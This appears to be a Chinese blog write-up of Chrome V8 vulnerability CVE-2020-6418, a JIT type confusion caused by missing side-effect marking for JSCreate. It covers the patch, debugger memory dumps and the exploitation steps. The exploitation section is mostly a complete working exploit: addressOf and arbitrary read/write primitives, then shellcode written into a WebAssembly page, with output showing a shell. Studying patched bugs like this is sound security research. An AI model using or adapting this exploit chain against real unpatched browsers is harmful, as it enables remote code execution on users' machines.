前言

强化中,准备做作业用。


环境搭建

同样去chrome官网的bug页面看看这个bug,找到对应的修复补丁和需要回滚到的漏洞版本

下载源码开始编译:

yum groupinstall "Development Tools"
yum install python2
ln -s /usr/bin/python2 /usr/bin/python
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 # CVE-2020-6418漏洞分支
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version

漏洞分析

首先看看patch,修改的是node-properties.cc这个文件:

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
         }
+        result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

这段代码位于InferReceiverMapsUnsafe函数中,原本代码如下:

case IrOpcode::kJSCreate: {
    if (IsSame(receiver, effect)) {
        base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
        if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
        }
        // We reached the allocation of the {receiver}.
        return kNoReceiverMaps;
    }
    break;
}

这个函数会检查receiver(一般指的是操作的主体)及effect(大概就是主体要做的操作),从而确认后续的effect是否会影响这个主体的Map。这里多加的一行代码给result赋值了kUnreliableReceiverMap,意思大概就是说这个receiver的Map不可信,需要加以检查。

回去阅读漏洞说明:

# Incorrect side effect modelling for JSCreate

The function NodeProperties::InferReceiverMapsUnsafe [1] is responsible for inferring the Map of an object. From the documentation: "This information can be either "reliable", meaning that the object is guaranteed to have one of these maps at runtime, or "unreliable", meaning that the object is guaranteed to have HAD one of these maps.". In the latter case, the caller has to ensure that the object has the correct type, either by using CheckMap nodes or CodeDependencies.

On a high level, the InferReceiverMapsUnsafe function traverses the effect chain until it finds the node creating the object in question and, at the same time, marks the result as unreliable if it encounters a node without the kNoWrite flag [2], indicating that executing the node could have side-effects such as changing the Maps of an object. There is a mistake in the handling of kJSCreate [3]: if the object in question is not the output of kJSCreate, then the loop continues *without* marking the result as unreliable. This is incorrect because kJSCreate can have side-effects, for example by using a Proxy as third argument to Reflect.construct. The bug can then for example be triggered by inlining Array.pop and changing the elements kind from SMIs to Doubles during the unexpected side effect.

被修改的InferReceiverMapsUnsafe函数负责通过遍历effect链的方式来推测一个对象的Map,如果是不可信的,caller就需要通过CheckMap或者CodeDependencies节点来确保这个对象的类型是正确的。

此次漏洞的问题在于JIT优化过程在遇到kJSCreate操作时,InferReceiverMapsUnsafe函数会错误地认为其不存在改变对象Map的操作,不会将其推测为不可信,进而在优化代码中不会对其Map进行检查。而实际上,如果使用Proxy作为Reflect.consutruct的第三个参数,然后通过pop函数触发回调函数的方式可以在kJSCreate操作改变对象Map,进而由于缺乏检查的缘故导致了类型混淆漏洞。

在JIT优化过程中,优化pop函数的是ReduceArrayPrototypePop函数,其关键代码如下:

MapInference inference(broker(), receiver, effect);
if (!inference.HaveMaps()) return NoChange();
MapHandles const& receiver_maps = inference.GetMaps();

std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
    return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
                                    control, p.feedback());

inference就是调用InferReceiverMapsUnsafe函数推测对象Map是否可信的一个变量,其构造函数如下:

MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
        ZoneHandleSet<Map> maps;
        auto result =
            NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
        maps_.insert(maps_.end(), maps.begin(), maps.end());
        maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
            ? kUnreliableDontNeedGuard
            : kReliableOrGuarded;
        DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
    }

RelyOnMapsPreferStability函数就是根据Map是否可信来确定是否需要加入CheckMaps节点进行Map检查,其定义如下:

bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }

bool MapInference::RelyOnMapsPreferStability(
    CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
    Node* control, const FeedbackSource& feedback) {
    CHECK(HaveMaps());
    if (Safe()) return false;
    if (RelyOnMapsViaStability(dependencies)) return true;
    CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
    return false;
}

bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
                                    JSGraph* jsgraph, Node** effect,
                                    Node* control,
                                    const FeedbackSource& feedback) {
    if (Safe()) return true;

    auto is_stable = [this](Handle<Map> map) {
        MapRef map_ref(broker_, map);
        return map_ref.is_stable();
    };
    if (dependencies != nullptr &&
        std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
        for (Handle<Map> map : maps_) {
            dependencies->DependOnStableMap(MapRef(broker_, map));
        }
        SetGuarded();
        return true;
    } else if (feedback.IsValid()) {
        InsertMapChecks(jsgraph, effect, control, feedback);
        return true;
    } else {
        return false;
    }
}

通过这个类型混淆漏洞能做些什么,可以从官方给出的测试代码中分析一下:

ITERATIONS = 10000;
TRIGGER = false;

function f(a, p) {
    return a.pop(Reflect.construct(function() {}, arguments, p));
}

let a;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[2] = 1.1;
        }
        return Object.prototype;
    }
});
for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [0, 1, 2, 3, 4];
    if (isLastIteration)
        TRIGGER = true;
    print(f(a, p));
}

使用release版本运行后可以发现,最后一次pop返回的是一个奇特的数字-858993459。调试一下,在数组a从SMI数组变成Double数组之前,其elements内存布局如下:

DebugPrint: 0x2a5e08728e05: [JSArray]
 - map: 0x2a5e082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2a5e08248f7d <JSArray[0]>
 - elements: 0x2a5e08250199 <FixedArray[5]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 5
 - properties: 0x2a5e080406e9 <FixedArray[0]> {
    #length: 0x2a5e081c0165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2a5e08250199 <FixedArray[5]> {
           0: 0
           1: 1
           2: 2
           3: 3
           4: 4
 }

pwndbg> x/20xw 0x2a5e08250198
0x2a5e08250198:    0x080404d9    0x0000000a    0x00000000    0x00000002
0x2a5e082501a8:    0x00000004    0x00000006    0x00000008    0x080411c9
0x2a5e082501b8:    0x00000000    0x08250199    0x08040489    0x00000000
0x2a5e082501c8:    0x080404b1    0x00000014    0x08250055    0x0824ff61
0x2a5e082501d8:    0x0824ff79    0x08042931    0x080427dd    0x08250185

每4个字节为一个地址单元,前两个地址单元代表Map、elements数量,后5个地址单元存放SMI数据,一共占据了28字节的空间。

变成Double数组后:

DebugPrint: 0x2a5e08728e05: [JSArray]
 - map: 0x2a5e08281891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2a5e08248f7d <JSArray[0]>
 - elements: 0x2a5e08728eed <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 5
 - properties: 0x2a5e080406e9 <FixedArray[0]> {
    #length: 0x2a5e081c0165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2a5e08728eed <FixedDoubleArray[5]> {
           0: 0
           1: 1
           2: 1.1
           3: 3
           4: 4
 }

pwndbg> x/20xw 0x2a5e08728eec
0x2a5e08728eec:    0x08040a3d    0x0000000a    0x00000000    0x00000000
0x2a5e08728efc:    0x00000000    0x3ff00000    0x9999999a    0x3ff19999
0x2a5e08728f0c:    0x00000000    0x40080000    0x00000000    0x40100000
0x2a5e08728f1c:    0xbeadbeef    0xbeadbeef    0xbeadbeef    0xbeadbeef
0x2a5e08728f2c:    0xbeadbeef    0xbeadbeef    0xbeadbeef    0xbeadbeef

因为数组类型发生了变化,所以v8重新分配了一块内存来存放elements,可以看到elements指针指向的地址发生了变化。此外,由于数组类型从SMI转换为了Double,每个成员的占用空间从4字节变成了8字节,由于缺乏检查的缘故,如果还以SMI的方式访问该数组,就会访问到Double数组a中的a[2]的低32位数据,即0x9999999a,再根据SMI的处理方式右移一位得到最后的结果,我们将-858993459左移一位可以得到其在内存中的形态:

pwndbg> p/x -858993459<<1
$1 = 0x9999999a

漏洞利用

在紧贴数组a的后方内存处分配一个Double数组,然后通过push进行越界写,我们就能获得一个可以进一步进行更大范围越界读写的Double数组:

ITERATIONS = 10000;
TRIGGER = false;

function empty() {}

function f(a, p) {
    a.push(typeof(Reflect.construct(function() {}, arguments, p)) === Proxy? 1.1: 8.063e-320);
}

let a, b;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[0] = {};
            b = [1.1, 2.2];
        }
        return Object.prototype;
    }
});

for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
    a.pop();
    a.pop();
    a.pop();
    if (isLastIteration)
        TRIGGER = true;
    f(a, empty);
    f(a, empty);
    f(a, p);
}

print(b.length);

可以看到,此时数组b的长度已经被我们覆写成了8160。下一步就是实现任意地址读写,参考文章给出这么一种内存布局方式:

let a, b, c, uint64_array, obj_leaker;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[0] = {};
            b = [1.1, 2.2];
            c = [6.6];
            uint64_array = new BigUint64Array(4);
            uint64_array[0] = 0x1111111111111111n;
            uint64_array[1] = 0x2222222222222222n;
            uint64_array[2] = 0x3333333333333333n;
            uint64_array[3] = 0x4444444444444444n;
            obj_leaker = {
                a: b,
                b: b,
            };
        }
        return Object.prototype;
    }
});

打印一下内存,可以看到除了数组a之外,他们都是排布在相邻内存中的:

0x2c5808a87a71 <JSArray[17]>
0x2c5808a87d85 <JSArray[8160]>
0x2c5808a87dc5 <JSArray[1]>
0x2c5808a87e45 <BigUint64Array map = 0x2c5808240671>
0x2c5808a87e89 <Object map = 0x2c5808f74d31>

pwndbg> x/40xg 0x2c5808a87d84
0x2c5808a87d84:    0x080406e908241891    0x00003fc008a87d9d 数组b
0x2c5808a87d94:    0x08211d7500000000    0x0000000408040a3d
0x2c5808a87da4:    0x3ff199999999999a    0x400199999999999a
0x2c5808a87db4:    0x0000000208040a3d    0x401a666666666666
0x2c5808a87dc4:    0x080406e908241891    0x0000000208a87ddd 数组c
0x2c5808a87dd4:    0x08211da10804348d    0x0000000208040a3d
0x2c5808a87de4:    0x401a666666666666    0x080406e908241189
0x2c5808a87df4:    0x00000020080406e9    0x0000000000000000
0x2c5808a87e04:    0x0000000300000000    0x0000000000000000
0x2c5808a87e14:    0x0000000000000000    0x0000004008040489
0x2c5808a87e24:    0x1111111111111111    0x2222222222222222
0x2c5808a87e34:    0x3333333333333333    0x4444444444444444
0x2c5808a87e44:    0x080406e908240671    0x08a87ded08a87e1d BigUint64Array对象 uint64_array
0x2c5808a87e54:    0x0000000000000000    0x0000000000000020
0x2c5808a87e64:    0x0000000000000004    0x00002c5800000007
0x2c5808a87e74:    0x0000000008a87e1d    0x0000000000000000 
0x2c5808a87e84:    0x08f74d3100000000    0x080406e9080406e9 Object obj_leaker
0x2c5808a87e94:    0x08a87d8508a87d85    0x00010001080401c5

我们一步步来看看这些对象都能做到些什么。

obj_leaker - addressOf泄露对象地址

偏移固定,可以将该对象放置在obj_leaker对象中,然后通过数组b越界读取其地址:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f) {
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i) {
    bigUint64[0] = i;
    return float64[0];
}

function addressOf(obj) {
    obj_leaker.b = obj;
    return f2i(b[30]) >> 32n;
}

let uint64_array_addr = addressOf(uint64_array);
print("Uint64 Array Address: " + uint64_array_addr.toString(16).padStart(8, "0"));

结果:

Uint64 Array Address: 08a8b3ed
0x00ae08a8b3ed <BigUint64Array map = 0xae08240671>

数组c - 伪任意地址读写

通过改写数组c的elements指针,可以基本实现任意地址读写:

function fakeRead(addr) {
    b[5] = i2f(addr - 0x8n + 0x200000000n);
    return f2i(c[0]);
}

function fakeWrite(addr, data) {
    b[5] = i2f(addr - 0x8n + 0x200000000n);
    c[0] = i2f(data);
}

print(fakeRead(uint64_array_addr).toString(16).padStart(16, "0"));
fakeWrite(uint64_array_addr, i2f(0x23333333n));

结果:

Uint64 Array Address: 08a90679
080406e908240671
0x26e208a902a5 <JSArray[17]>
0x26e208a905b9 <JSArray[8160]>
0x26e208a905f9 <JSArray[1]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

0x26e208a90678:    0x0000000023333333    0x08a9062108a90651

uint64_array - 任意地址读写

BigUint64Array对象类似之前用到过的ArrayBuffer对象,通过改写其指针我们可以实现任意地址读写,其在内存中的布局通过debug打印如下:

DebugPrint: 0x3608a5f289: [JSTypedArray]
 - map: 0x003608280671 &lt;Map(BIGUINT64ELEMENTS)&gt; [FastProperties]
 - prototype: 0x003608242bc9 &lt;Object map = 0x3608280699&gt;
 - elements: 0x003608a5f261 &lt;ByteArray[32]&gt; [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x003608a5f231 &lt;ArrayBuffer map = 0x3608281189&gt;
 - byte_offset: 0
 - byte_length: 32
 - length: 4
 - data_ptr: 0x3608a5f268
   - base_pointer: 0x8a5f261
   - external_pointer: 0x3600000007
 - properties: 0x0036080406e9 &lt;FixedArray[0]&gt; {}
 - elements: 0x003608a5f261 &lt;ByteArray[32]&gt; {
           0: 1229782938247303441
           1: 2459565876494606882
           2: 3689348814741910323
           3: 4919131752989213764
 }
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

其指针由base_pointer和external_pointer两个部分组成,完整的指针由这两个指针相加而成。

在内存中,BigUint64Array布局如下:

pwndbg> x/20xg 0x274e08aac024
0x274e08aac024:    0x1111111111111111    0x2222222222222222
0x274e08aac034:    0x3333333333333333    0x4444444444444444
0x274e08aac044:    0x080406e908240671    0x08aabfed08aac01d
0x274e08aac054:    0x0000000000000000    0x0000000000000020
0x274e08aac064:    0x0000000000000004    0x0000274e00000007
0x274e08aac074:    0x0000000008aac01d    0x0000000000000000
0x274e08aac084:    0x08fb4d3100000000    0x080406e9080406e9
0x274e08aac094:    0x08aabf8508aabf85    0x00010001080401c5
0x274e08aac0a4:    0x0804116d00000000    0x0000000808045139
0x274e08aac0b4:    0x080401c500000004    0x0000000000020002
pwndbg> p/x 0x0000000008aac01d+0x0000274e00000007
$2 = 0x274e08aac024

可以发现,external_pointer负责地址的高32位再加个7,base_pointer负责地址的低32位再减个7,所以我们只需要修改base_pointer就可以实现任意地址读写:

function read(addr) {
    fakeWrite(base_pointer_addr, addr - 0x7n - 0x1n);
    return uint64_array[0];
}

function write(addr, data) {
    fakeWrite(base_pointer_addr, addr - 0x7n - 0x1n);
    uint64_array[0] = data;
}

命令执行

跟之前的一样,通过wasm实现命令执行:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f) {
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i) {
    bigUint64[0] = i;
    return float64[0];
}

ITERATIONS = 10000;
TRIGGER = false;

function empty() {}

function f(a, p) {
    a.push(typeof(Reflect.construct(function() {}, arguments, p)) === Proxy? 1.1: 8.063e-320);
}

let a, b, c, uint64_array, obj_leaker;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[0] = {};
            b = [1.1, 2.2];
            c = [6.6];
            uint64_array = new BigUint64Array(4);
            uint64_array[0] = 0x1111111111111111n;
            uint64_array[1] = 0x2222222222222222n;
            uint64_array[2] = 0x3333333333333333n;
            uint64_array[3] = 0x4444444444444444n;
            obj_leaker = {
                a: b,
                b: b,
            };
        }
        return Object.prototype;
    }
});

for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
    a.pop();
    a.pop();
    a.pop();
    if (isLastIteration)
        TRIGGER = true;
    f(a, empty);
    f(a, empty);
    f(a, p);
}

if (b.length == 2) {
    throw "Write Error"
};

function addressOf(obj) {
    obj_leaker.b = obj;
    return f2i(b[30]) >> 32n;
}

function fakeRead(addr) {
    b[5] = i2f(addr - 0x8n + 0x200000000n);
    return f2i(c[0]);
}

function fakeWrite(addr, data) {
    b[5] = i2f(addr - 0x8n + 0x200000000n);
    c[0] = i2f(data);
}

let uint64_array_addr = addressOf(uint64_array);
print("Uint64 Array Address: " + uint64_array_addr.toString(16).padStart(8, "0"));
let base_pointer_addr = uint64_array_addr + 0x30n;
print("Base Pointer Address: " + base_pointer_addr.toString(16).padStart(8, "0"));

function read(addr) {
    fakeWrite(base_pointer_addr, addr - 0x7n - 0x1n);
    return uint64_array[0];
}

function write(addr, data) {
    fakeWrite(base_pointer_addr, addr - 0x7n - 0x1n);
    uint64_array[0] = data;
}

function getWasmFunc() {
    let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    let wasmModule = new WebAssembly.Module(wasmCode);
    let wasmInstance = new WebAssembly.Instance(wasmModule, {});
    return wasmInstance.exports.main;
}

function rce() {
    let wasm_func = getWasmFunc();
    let wasm_addr = addressOf(wasm_func);
    let shared_info_addr = read(wasm_addr + 0x08n) >> 32n;
    let data_addr = read(shared_info_addr) >> 32n;
    let instance_addr = read(data_addr + 0x8n) & 0xffffffffn;
    let shellcode_addr = read(instance_addr + 0x68n);
    print("Wasm Function Address: " + wasm_addr.toString(16).padStart(8, "0"));
    print("Shared Info Address: " + shared_info_addr.toString(16).padStart(8, "0"));
    print("Data Address: " + data_addr.toString(16).padStart(8, "0"));
    print("Instance Address: " + instance_addr.toString(16).padStart(8, "0"));
    print("Shellcode Address: " + shellcode_addr.toString(16).padStart(8, "0"));

    let shellcode = [
        0x6e69622fbb48f631n,
        0x5f54535668732f2fn,
        0x00050fd231583b6an,
    ];
    fakeWrite(base_pointer_addr, 0n);
    fakeWrite(base_pointer_addr - 0x8n, shellcode_addr);
    for (var i = 0; i < shellcode.length; i++) {
        uint64_array[i] = shellcode[i];
    }
    wasm_func();
}

rce();

执行结果:

aluvion@Aluvion:~/桌面/v8/v8/out.gn/x64.release$ ./d8 index.js 
Uint64 Array Address: 08a63b05
Base Pointer Address: 08a63b35
Wasm Function Address: 08212f21
Shared Info Address: 08212ef9
Data Address: 08212ed9
Instance Address: 08212e01
Shellcode Address: 1a51d2db3000
$ id
uid=1000(aluvion) gid=1000(aluvion) groups=1000(aluvion),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
$ exit

其他问题

在上文使用的漏洞利用代码中,如果将调用f函数的参数empty改为匿名函数function(){},漏洞就会触发失败。

根据参考文章,原因应该跟JIT处理Reflect.construct有,留个坑,懒得继续看了。


参考文章

browser-pwn cve-2020-6418漏洞分析

Chrome漏洞调试笔记3-CVE-2020-6418

A EULOGY FOR PATCH-GAPPING CHROME